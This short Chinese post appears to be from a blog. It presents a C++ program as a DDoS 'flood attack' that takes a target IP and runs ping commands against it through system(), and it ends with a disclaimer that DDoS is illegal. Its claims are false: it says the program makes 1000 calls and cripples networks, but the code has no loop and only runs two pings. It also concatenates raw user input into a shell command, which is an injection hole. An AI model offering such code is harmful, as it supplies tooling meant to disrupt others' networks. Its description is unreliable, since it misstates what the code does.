这个程序的原理很简单,就是运用了string将ip和ping等结合,用system函数发起1000次进入,俗称“洪水进攻”这样就会导致网络瘫痪,缺点也明显,耗时久,直接上代码!
#include<iostream>
#include<Windows.h>
#include<cstring>
using namespace std;
int main() {
cout << "请输入DDoS攻击目标网址的IP部分,如www.baidu.com的IP(不含https://)\n";
string ip;
getline(cin, ip);
string pingCommand = "ping -a -t ";
pingCommand += ip;
system(pingCommand.c_str());
cout << "请输入IP地址,例如:192.168.1.1\n";
string targetIP;
getline(cin, targetIP);
string fullPingCommand = "ping -a -l 1000 " + targetIP;
system(fullPingCommand.c_str());
return 0;
}
最后再强调一遍,DDoS攻击是违法的!!!!!如果攻击成功导致网络瘫痪本人概不负责!!!!!!!